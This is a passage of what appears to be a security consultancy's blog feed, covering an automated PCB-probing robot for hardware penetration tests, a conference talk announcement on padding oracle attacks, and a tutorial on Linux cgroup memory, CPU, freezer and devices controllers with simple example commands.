&lt;p>To increase the efficiency of this hardware analysis and further reduce error-proneness of manual probing steps, we introduce the PROBoter (PROBing roboter) as a novel open-source and self-calibrating architecture for automated PCB analysis as part of a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">test&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. The PROBoter consists of four independently moving probes assisted by a camera for the detection of pins and contact pads, and an oscilloscope for signal measurement. Several algorithms allow the automatic probing of voltages at detected pins and contact pads, and subsequently try to identify existing bus protocols.&lt;/p>
&lt;p>We evaluated the feasibility of our approach using different PCBs and a self-designed test board for signal generation. Our evaluation shows that the PROBoter can detect and probe respective parts of a PCB with high accuracy and can successfully identify selected bus protocols. Our novel approach provides a significant contribution to the field of PCB analysis by automating manual work and thus increasing the efficiency of penetration tests of embedded systems such as automotive ECUs.&lt;/p>
&lt;p>All details of the PROBoter contributions can be found in our paper at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">https:/&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">/&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">doi.org/&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">10.13154/&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">294-8348&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;p>The PROBoter hardware design as well as source code of the automation processes will be published on our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">page&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;p>We are currently working on a demonstration video which will be published in beginning of 2022 as part of the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.secforcars.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>&lt;a
href="https://www.secforcars.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">project&lt;/span>
&lt;/a>&lt;a
href="https://www.secforcars.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">results&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
. Furthermore, a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">blog&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">post&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">series&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
will provide further insights.&lt;/p></description></item><item><title>SCHUTZWERK is NEON sponsor</title><link>https://www.schutzwerk.com/en/blog/schutzwerk-ist-neon-sponsor/</link><author>SCHUTZWERK GmbH</author><pubDate>Thu, 17 Jun 2021 13:00:00 +0100</pubDate><category>news</category><category>sponsor</category><category>event</category><category>cryptography</category><description>
&lt;p>This year, SCHUTZWERK is not only a sponsor of Elbsides , but will also hold a talk on June 22, 2021 at 4:10 p.m. The topic of our colleague Dr. Henning Kopp will be &amp;ldquo;Padding Oracle Attacks - The critical bug in your home-brewed crypto protocol&amp;rdquo;.&lt;/p>
&lt;p>After a break of more than one year &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://%e2%80%8b2021.%e2%80%8belbsides.%e2%80%8bde"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Elb­si­des&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is back - this time together with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.bsidesmunich.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">BSi­des&lt;/span>
&lt;/a>&lt;a
href="https://www.bsidesmunich.org/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Mu­nich&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
under the joint event name &amp;ldquo;BSidesMEsh21&amp;rdquo;. (Virtual) workshops and talks will take place again from June 20 to 22, 2021.
You can find the live stream here: &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://%e2%80%8b2021.%e2%80%8belbsides.%e2%80%8bde/%e2%80%8bstream.%e2%80%8bhtml"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">https:/&lt;/span>
&lt;/a>&lt;a
href="https://%e2%80%8b2021.%e2%80%8belbsides.%e2%80%8bde/%e2%80%8bstream.%e2%80%8bhtml"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">/&lt;/span>
&lt;/a>&lt;a
href="https://%e2%80%8b2021.%e2%80%8belbsides.%e2%80%8bde/%e2%80%8bstream.%e2%80%8bhtml"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">​2021.​elbsides.​de/&lt;/span>
&lt;/a>&lt;a
href="https://%e2%80%8b2021.%e2%80%8belbsides.%e2%80%8bde/%e2%80%8bstream.%e2%80%8bhtml"
class="link-background inline no-spaces split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">​stream.​html&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>This year, SCHUTZ­WERK is not only a spon­sor of Elb­si­des, but will also hold a talk on June 22, 2021 at 4:10 p.m. The topic of our col­le­ague Dr. Hen­ning Kopp will be &amp;ldquo;Pad­ding Ora­cle At­tacks - The cri­ti­cal bug in your ho­me-bre­wed cryp­to pro­to­col&amp;rdquo;.&lt;/p>
&lt;p>Pad­ding ora­cle at­tacks are a com­mon im­ple­men­ta­ti­on weak­ness in en­cryp­ti­on al­go­rithms. An in­for­ma­ti­on dis­clo­sure re­gar­ding the pad­ding, e.g., via error me­sa­ges or run time dif­fe­ren­ces in the exe­cu­ti­on of the al­go­rithm can lead to a full de­cryp­ti­on.&lt;/p>
&lt;p>We are very much loo­king for­ward to the event and will be avail­able in the SCHUTZ­WERK-chan­nel in the BSi­des­ME­s­h21-Slack chan­nel for ques­ti­ons and ex­ch­an­ge on June 22nd from 1 p.m. to 6 p.m.&lt;/p></description></item><item><title>Linux Container Primitives: Memory, CPU, Freezer and Device Control Groups</title><link>https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev/</link><author>Philipp Schmied</author><pubDate>Wed, 19 May 2021 07:56:10 +0100</pubDate><category>linux</category><category>container</category><description>
&lt;p>After discussing the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, this post considers the Memory, CPU, Freezer and Device controllers. The following list shows the topics of all scheduled blog posts. It will be updated with the corresponding links once new posts are being released.&lt;/p>
&lt;ol start="0">
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Containers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Linux&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-capabilities/"
class="link-background inline split"
>
&lt;span class="link-label">Capabilities&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces01-intro/"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Mount&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Description&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">of&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Related&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Information&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Leak&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces02-mnt/"
class="link-background inline split"
>
&lt;span class="link-label">Docker&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces03-pid-net"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces05-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">An&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Introduction&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">to&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-01-intro"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Block&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">I/O&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-02-network-block-io"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Memory,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">CPU,&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Freezer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Device&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev"
class="link-background inline split"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ol>
&lt;hr>
&lt;h2 id="the-memory-controller-v2">The Memory Controller (v2)&lt;/h2>
&lt;p>Processes can be accounted and limited regarding their memory usage. The following types of memory usages are currently being tracked [1]:&lt;/p>
&lt;ul>
&lt;li>Consumed memory in user-space&lt;/li>
&lt;li>Memory usage in kernel-space, as in kernel data structures&lt;/li>
&lt;li>TCP socket buffers&lt;/li>
&lt;/ul>
&lt;p>The memory consumed by a control group can be read using the &lt;code>memory.current&lt;/code> file. One of the most common ways to limit memory usage includes setting the &lt;code>memory.max&lt;/code> value to define an upper memory limit for all processes residing in a control group.&lt;/p>
&lt;p>A &lt;em>cgroup&lt;/em> is charged for its memory usage when allocating memory. In turn, this accounting gets removed once &lt;code>free()&lt;/code> or similar mechanisms to free previously allocated memory are being used. When moving a process that has allocated memory in the name of a control group to another group, the &lt;em>original&lt;/em> group is being charged for the allocated memory since these mappings are not being transferred.&lt;/p>
&lt;h2 id="the-cpu-controller-v1v2">The CPU Controller (v1/v2)&lt;/h2>
&lt;p>Various controllers exist for version 1 and 2 of the control group implementation to manage CPU utilization. There are three controllers for &lt;code>v1&lt;/code>:&lt;/p>
&lt;p>With &lt;code>cpu&lt;/code> a control group is supplied with a guaranteed minimum time of CPU utilization. The &lt;code>cpuset&lt;/code> controller allows specifying a set of processors a process is allowed to be executed on. For the current process this can be examined with &lt;code>cat /proc/$$/status | grep Cpus&lt;/code>. Changes to this setting propagate to all descendants in the control group hierarchy. Accounting is performed with &lt;code>cpuacct&lt;/code>, for example the file &lt;code>cpuacct.usage&lt;/code> gives information on the consumed CPU time of all processes in a control group in nanoseconds.&lt;/p>
&lt;p>Control group version 2 allows weight and absolute CPU limiting models with the &lt;code>cpu&lt;/code> subsystem. In contrast to &lt;code>v1&lt;/code>, the newer control group version does &lt;em>not&lt;/em> support real-time processes. Therefore, all real-time processes have to be moved to the root control group first before activating the &lt;code>cpu v2&lt;/code> subsystem in the &lt;em>cgroup&lt;/em> tree.&lt;/p>
&lt;h2 id="the-freezer-controller-v1">The Freezer Controller (v1)&lt;/h2>
&lt;p>This control group does not limit or account resource usage - it rather allows &lt;em>freezing&lt;/em> a process. Freezing a process ultimately stops the execution and suspends it. This allows analyzing the current state of a process with the ability to unfreeze it afterwards and continue the execution without side effects. By creating a checkpoint with the &lt;code>freezer&lt;/code> subsystem it&amp;rsquo;s also possible to move an entire running process, including its children, to another machine or restart a process from a specific state [2].&lt;/p>
&lt;p>For this, the virtual file &lt;code>freezer.state&lt;/code> exists that can receive either &lt;code>FROZEN&lt;/code> or &lt;code>THAWED&lt;/code> as input values to freeze and unfreeze a process. This works by walking down the control group hierarchy and marking all descendants of a process with the desired state. Additionally, all processes managed by the affected groups have to be moved in or out of the &lt;code>freezer&lt;/code> group, depending on the desired freezing state. Freezing itself is done by sending a signal to the affected processes. Also, the &lt;code>freezer&lt;/code> has to follow all child process of the affected processes that may result from calling &lt;code>fork&lt;/code> and freeze these as well to prevent freeze escapes [3].&lt;/p>
&lt;h2 id="the-devices-controller-v1">The Devices Controller (v1)&lt;/h2>
&lt;p>This controller type allows to implement access controls for devices. One can use whitelist and blacklist approaches to only block or allow very specific accesses by defining exceptions. Child control groups are forced to have the exact same or a subset of the exception list of the parent. This results in faster checks whether a rule can be added to the exception list because only the list of the child has to checked and &lt;em>not&lt;/em> the whole group tree. This controller is one of the few that makes use of the hierarchical organization in order to pass configuration information to its child groups.&lt;/p>
&lt;p>For the the following example, the &lt;code>devices&lt;/code> controller will be used to restrict a process from accessing &lt;code>/dev/null&lt;/code>.&lt;/p>
&lt;p>To limit the usage of devices, their major and minor numbers have to be used. These numbers are the respective identifiers of a device in the filesystem tree. The major number describes the driver that&amp;rsquo;s required and is used by the kernel in order to access a specific device. The minor number is used by the device driver to distinguish logical and physical devices resulting from the existence of a certain device. In the above example for &lt;code>/dev/null&lt;/code> these numbers can be identified using &lt;code>stat -c &amp;quot;major: %t minor: %T&amp;quot; /dev/null&lt;/code> which yields the values &lt;code>1&lt;/code> for major and &lt;code>3&lt;/code> for minor.&lt;/p>
&lt;p>First, a device control group has to be created with &lt;code>cgcreate -g devices:nodevnull&lt;/code> with the identifier of the control group being &lt;code>nodevnull&lt;/code>. To add the current shell process to this group, the command &lt;code>cgclassify -g devices:nodevnull $$&lt;/code> will be invoked. The process identifier of the current shell process is &lt;code>$$&lt;/code>. To finally deny accessing the &lt;code>/dev/null&lt;/code> device, this command will be executed: &lt;code>cgset -r devices.deny=&amp;quot;c 1:3 rwm&amp;quot; nodevnull&lt;/code>. The format of the parameter for &lt;code>devices.deny&lt;/code> is as follows:&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev/major-minor_huecf024e391f0b3abfae07030209e4e41_15732_320x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev/major-minor_huecf024e391f0b3abfae07030209e4e41_15732_640x0_resize_q95_h2_lanczos.webp">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev/major-minor_huecf024e391f0b3abfae07030209e4e41_15732_1280x0_resize_q95_h2_lanczos.webp">
&lt;img
src="https://www.schutzwerk.com/en/blog/linux-container-cgroups-03-memory-cpu-freezer-dev/major-minor.webp"
width="738"
height="510"
alt="For­mat of the pa­ra­me­ter for devices.deny"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
For­mat of the pa­ra­me­ter for devices.deny&lt;/figcaption>
&lt;/figure>
&lt;p>The device type is determined by using the first character of the output of &lt;code>ls -la /dev/null&lt;/code>, which shows that it&amp;rsquo;s a character device.&lt;/p>
&lt;p>Now accessing the specific device is being blocked, even for processes running as &lt;code>root&lt;/code> user:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">root@box:~# &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;a&amp;#34;&lt;/span> &amp;gt; /dev/zero &lt;span style="color:#999;font-style:italic"># Allowed&lt;/span>
root@box:~# &lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;a&amp;#34;&lt;/span> &amp;gt; /dev/null &lt;span style="color:#999;font-style:italic"># Denied&lt;/span>
bash: /dev/null: Operation not permitted
&lt;/code>&lt;/pre>&lt;/div>&lt;br>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>The next post in this series &amp;lsquo;&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Control&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Groups&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Kernel&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">View&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Usage&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-cgroups-04-groups-kernel"
class="link-background inline split"
>
&lt;span class="link-label">Containerization&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
